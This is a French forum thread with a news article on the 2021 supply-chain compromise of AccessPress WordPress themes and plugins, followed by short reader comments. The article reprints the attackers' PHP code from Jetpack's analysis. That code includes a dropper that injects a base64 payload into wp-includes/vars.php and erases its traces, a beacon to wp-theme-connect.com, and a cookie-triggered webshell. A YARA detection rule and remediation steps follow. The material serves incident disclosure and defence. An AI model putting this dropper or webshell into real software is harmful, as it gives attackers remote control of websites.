Discussion :

[Stéphane le calme]

Des portes dérobées ont été trouvées dans plus de 90 thèmes et plugins WordPress, affectant plus de 360 000 sites actifs
suite à une attaque massive de la chaîne d'approvisionnement

Les chercheurs en sécurité d'Automattic ont récemment signalé que les auteurs de plugins et de thèmes WordPress AccessPress populaires avaient été compromis et que leurs logiciels avaient été remplacés par des versions vérolées. L'attaque semble avoir été menée avec succès en septembre de l'année dernière et n'a été rendue publique que récemment. Les utilisateurs qui ont utilisé des logiciels obtenus directement à partir du site Web d'AccessPress ont sans le savoir fourni aux attaquants un accès par porte dérobée, ce qui a entraîné un nombre inconnu de sites Web compromis. Jusqu'à présent, les logiciels du référentiel WordPress officiel ne semblent pas avoir été affectés, bien que la mesure proactive ait été prise pour les supprimer jusqu'à ce qu'une révision proactive du code puisse être effectuée.

WordPress est un système de gestion de contenu (SGC ou content management system (CMS) en anglais) gratuit, libre et open source. Ce logiciel écrit en PHP repose sur une base de données MySQL et est distribué par la fondation WordPress.org. Les fonctionnalités de WordPress lui permettent de créer et gérer différents types de sites Web : site vitrine, site de vente en ligne, site applicatif, blog, portfolio, site institutionnel, site d'enseignement, etc.

Le baromètre W3Techs indique que l'utilisation du CMS WordPress continue de croître : le CMS est désormais utilisé sur 43,3 % des sites web dans le monde à la date du 24 janvier 2022.

W3Techs explore les dix premiers millions de sites Web déterminés par le service de classification Alexa d'Amazon et cherche à déterminer les technologies qu'ils exploitent. Des rapports détaillés sont vendus sur ses découvertes. Mais W3Techs propose également des données publiques sur ses résultats. Ceux-ci sont généralement proposés sous la forme d'un diagramme qui vient montrer les pourcentages de sites Web utilisant divers systèmes de gestion de contenu.

Une attaque sur les thèmes et plugins WordPress

Une attaque massive de la chaîne d'approvisionnement a compromis 93 thèmes et plugins WordPress pour contenir une porte dérobée, donnant aux acteurs de la menace un accès complet aux sites Web.

Au total, les acteurs malveillants ont compromis 40 thèmes et 53 plugins appartenant à AccessPress, un développeur de modules complémentaires WordPress utilisés dans plus de 360 000 sites Web actifs.

L'attaque a été découverte par des chercheurs de Jetpack, les créateurs d'un outil de sécurité et d'optimisation pour les sites WordPress, qui ont découvert qu'une porte dérobée PHP avait été ajoutée aux thèmes et plugins.

Jetpack pense qu'un acteur malveillant a piraté le site Web d'AccessPress pour compromettre le logiciel et infecter d'autres sites WordPress.

Qu'est-ce qu'une attaque de la chaîne d'approvisionnement ?

Plutôt que de compromettre directement les systèmes en exploitant des composants logiciels vulnérables, les attaquants peuvent à la place compromettre la source même où les administrateurs de sites Web et de réseaux obtiennent leurs logiciels. Les adeptes de la sécurité Web se souviendront peut-être de la tristement célèbre attaque SolarWinds de 2020, où des milliers d'agences et d'entreprises gouvernementales américaines ont été piratées par une telle attaque. Dans ce cas, les attaquants ont acquis un accès superutilisateur au logiciel SolarWinds Orion, qui est utilisé par de nombreuses agences de haut niveau pour administrer les mises à jour du réseau et des logiciels. Une fois que la source du logiciel est compromise, tout administrateur de réseau ou de site Web qui installe le logiciel ou les mises à jour à partir de la source compromise compromet sans le savoir son propre système.

Une porte dérobée pour un contrôle total

Dès que les administrateurs ont installé un produit AccessPress compromis sur leur site, les acteurs ont ajouté un nouveau fichier "initial.php" dans le répertoire principal du thème et l'ont inclus dans le fichier principal "functions.php". Ce fichier contenait une charge utile encodée en base64 qui écrit un webshell dans le fichier « ./wp-includes/vars.php ».

Le code malveillant a terminé l'installation de la porte dérobée en décodant la charge utile et en l'injectant dans le fichier "vars.php", donnant essentiellement aux acteurs de la menace le contrôle à distance du site infecté.

La seule façon de détecter cette menace est d'utiliser une solution de surveillance de l'intégrité des fichiers de base, car le logiciel malveillant supprime le dropper de fichiers "initial.php" pour couvrir ses traces.

Selon les chercheurs de Sucuri qui ont enquêté sur l'affaire pour déterminer l'objectif des acteurs, les acteurs malveillants ont utilisé la porte dérobée pour rediriger les visiteurs vers des sites de diffusion de logiciels malveillants et d'escroquerie. Par conséquent, la campagne n'était pas très sophistiquée.

Il est également possible qu'ils aient utilisé ce malware pour vendre l'accès à des sites Web dérobés sur le dark web, ce qui serait un moyen efficace de monétiser une telle infection à grande échelle.

Analyse

Les extensions infectées contenaient un dropper pour un webshell qui donne aux attaquants un accès complet aux sites infectés. Le dropper est situé dans le fichier inital.php situé dans le répertoire principal du plugin ou du thème. Lorsqu'il est exécuté, il installe un webshell basé sur des cookies dans wp-includes/vars.php. Le shell est installé en tant que fonction juste devant la fonction wp_is_mobile() avec le nom de wp_is_mobile_fix(). C'est probablement pour ne pas éveiller les soupçons de quiconque faisant défiler le fichier vars.php avec désinvolture.

Code PHP :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';
 
    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Une fois le shell installé, le dropper va tenter d'établir une connexion en chargeant une image distante à partir de l'URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg avec l'url du site infecté et des informations sur quel thème il utilise comme arguments de requête. Enfin, il supprimera le fichier source du dropper pour éviter la détection lorsque la requête est terminée.

Code PHP :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
function finishInit() {
    unlink(__FILE__);
}
 
add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {
 
    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }
 
}
register_shutdown_function('finishInit');

Le webshell lui-même se déclenche si la chaîne de l'agent utilisateur dans la requête est wp_is_mobile et que la requête contient huit cookies spécifiques. Il rassemble et exécute une charge utile à partir de ces cookies fournis.

Code PHP :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
$g = $_COOKIE;
 
(count($g) == 8 && $is_wp_mobile) ?
(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
@$_iv()) : $g;

Les chercheurs ont également vu une autre variante, vraisemblablement plus ancienne, de la porte dérobée directement intégrée dans le fichier functions.php du thème/plugin. Cette variante utilise le même mécanisme en rassemblant la charge utile de huit cookies, mais ne filtre pas sur la chaîne d'agent utilisateur de la requête.

Pour s'assurer que le dropper est exécuté, le fichier principal du plugin (pour les plugins) ou le fichier functions.php (pour les thèmes) ont été modifiés avec du code pour exécuter le fichier inital.php s'il existe.

Code PHP :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}
 
function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

« Un détail frappant des horodatages des plugins compromis est qu'ils datent tous de début septembre. La majorité date des 6 et 7 septembre, avec quelques fichiers des 2 et 3 septembre. De même pour les thèmes, tous ont été compromis le 22 septembre, sauf accessbuddy le 9 septembre.

« De plus, les horodatages dans les archives zip sont très uniformes, avec presque tous les fichiers avec exactement le même horodatage, à l'exception du fichier de plug-in principal modifié et du fichier de compte-gouttes ajouté qui est horodaté quelques minutes plus tard (généralement environ 2 à 5 minutes après les autres fichiers de l'archive).

« Cependant, en regardant les horodatages des fichiers zip téléchargés à partir du référentiel wordpress.org, nous trouvons une distribution d'horodatages correspondant au moment où le plugin/thème a été mis à jour. De plus, la distribution des horodatages dans l'archive est moins uniforme et reflète les fichiers qui ont été mis à jour dans la version et ceux qui sont inchangés par rapport à une version plus ancienne.

« Cela nous suggère que les fichiers du site Web d'AccessPress Themes ont été modifiés intentionnellement et en tant qu'action coordonnée après leur publication initiale. Le compromis semble avoir été réalisé en deux temps, un pour les plugins et un plus tard pour les thèmes. Chacun d'eux avec quelques tentatives antérieures, peut-être pour affiner le processus.

« Notre enquête n'a porté que sur les thèmes et les plugins disponibles gratuitement sur le site Web d'AccessPress Themes. Nous supposons que leurs thèmes professionnels payants sont affectés de la même manière, mais nous ne les avons pas examinés. Si vous avez l'un de ces éléments, veuillez contacter le support d'AccessPress Themes pour plus de conseils ».

Comment savoir si je suis infecté ?

Si vous avez installé l'un des plugins ou thèmes compromis sur votre site, les supprimer/remplacer/mettre à jour ne déracinera pas les webshells qui auraient pu y être plantés.

À ce titre, il est conseillé aux administrateurs de sites Web d'analyser leurs sites à la recherche de signes de compromission en procédant comme suit :

• vérifiez votre fichier wp-includes/vars.php autour des lignes 146-158. Si vous voyez une fonction "wp_is_mobile_fix" avec du code obscurci, vous avez été compromis ;
• interrogez votre système de fichiers à la recherche de "wp_is_mobile_fix" ou "wp-theme-connect" pour voir s'il y a des fichiers affectés ;
• remplacez vos fichiers WordPress principaux par de nouvelles copies ;
• mettez à niveau les plugins concernés et passez à un thème différent ;
• modifiez les mots de passe wp-admin et de base de données.

Jetpack a fourni la règle YARA suivante qui peut être utilisée pour vérifier si un site a été infecté et détecter à la fois le dropper et le webshell installé :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
rule accesspress_backdoor_infection
{
strings:
 
   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"
 
   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"
 
   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/
 
condition:
 
   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Portes dérobées détectées en septembre

Jetpack a détecté la porte dérobée pour la première fois en septembre 2021, et peu de temps après, les chercheurs ont découvert que les acteurs malveillants avaient compromis tous les plugins et thèmes gratuits appartenant au fournisseur. Jetpack pense que les modules complémentaires AccessPress payants ont probablement été compromis mais ne les ont pas testés, cela ne peut donc pas être confirmé.

« En enquêtant sur un site compromis, nous avons découvert du code suspect dans un thème d'AccessPress Themes (alias Access Keys), un fournisseur proposant un grand nombre de thèmes et de plugins populaires. Après une enquête plus approfondie, nous avons constaté que tous les thèmes et la plupart des plug-ins du fournisseur contenaient ce code suspect, mais uniquement s'ils étaient téléchargés à partir de leur propre site Web. Les mêmes extensions étaient correctes si elles étaient téléchargées ou installées directement à partir du répertoire WordPress.org.

« En raison de la manière dont les extensions ont été compromises, nous soupçonnions qu'un attaquant externe avait pénétré le site Web d'AccessPress Themes dans le but d'utiliser leurs extensions pour infecter d'autres sites.

« Nous avons immédiatement contacté le vendeur, mais au début, nous n'avons pas reçu de réponse. Après l'avoir transmis à l'équipe du plugin WordPress.org, nos soupçons ont été confirmés. Les sites Web AccessPress Themes ont été piratés au cours de la première moitié de septembre 2021, et une porte dérobée a été injectée sur les extensions disponibles en téléchargement sur leur site.

« Une fois que nous avons établi un canal de communication avec le fournisseur, nous lui avons partagé nos conclusions détaillées. Ils ont immédiatement supprimé les extensions incriminées de leur site Web.

« La plupart des plugins ont depuis été mis à jour et les versions propres connues sont répertoriées au bas de cet article. Cependant, les thèmes concernés n'ont pas été mis à jour et sont extraits du référentiel de thèmes WordPress.org. Si l'un des thèmes répertoriés au bas de cet article est installé sur votre site, nous vous recommandons de migrer vers un nouveau thème dès que possible ».

La plupart des produits avaient probablement été compromis début septembre à cause des horodatages. Le 15 octobre 2021, le fournisseur a supprimé les extensions du portail de téléchargement officiel jusqu'à ce que le point de compromission soit localisé et corrigé. Le 17 janvier 2022, AccessPress a publié de nouvelles versions « nettoyées » pour tous les plugins concernés.

Cependant, les thèmes concernés n'ont pas encore été nettoyés, donc la migration vers un thème différent est le seul moyen d'atténuer les risques de sécurité.

Les utilisateurs des plugins et des thèmes AccessPress peuvent lire le message de Jetpack pour une liste complète des produits corrigés.

Sources : Sucuri, JetPack, W3Techs

Et vous ?

Êtes-vous administrateur d'un site ?
Que pensez-vous des CMS en général et de WordPress en particulier ?
Êtes-vous concernés par cette attaque ?
Quelles mesures recommandez-vous pour mieux protéger un site web ?

[fodger]

Tu n'utilises pas Wordpress :p !

[Hariom]

Quelles mesures recommandez-vous pour mieux protéger un site web ?

Arrêtez d'être fainéant, vous êtes des devs vous avez qu'à dev. Au lieu de pomper des trucs dont vous ne savez pas la nature et dont vous n'aurez jamais le courage d'aller vérifier ce que ça contient.

[chrtophe]

Le fait de créer son propre code ne garanti aucunement qu'on fera un code plus sécurisé que celui d'un plugin tiers.
Dans ce cas, on utilise pas les frameworks comme React.js, vue.js; angular.js, ou bootstrap.

[Pelote2012]

Certes coder ses propres plugins n'est pas une garantie de le faire proprement.. mais on ne risquera moins d'être dans le collimateur des robots exploitant une faille connue...
Perso, je développe un max moi même et utilise un seul framework de base pour le design. Oui c'est moins jolie mais au moins je sais ce qui se passe dans mon code, et j'évite les pb d'arrêt de maintenance ou d'auto destruction de la part de l'auteur qui n'en peut plus de bosser gratuitement...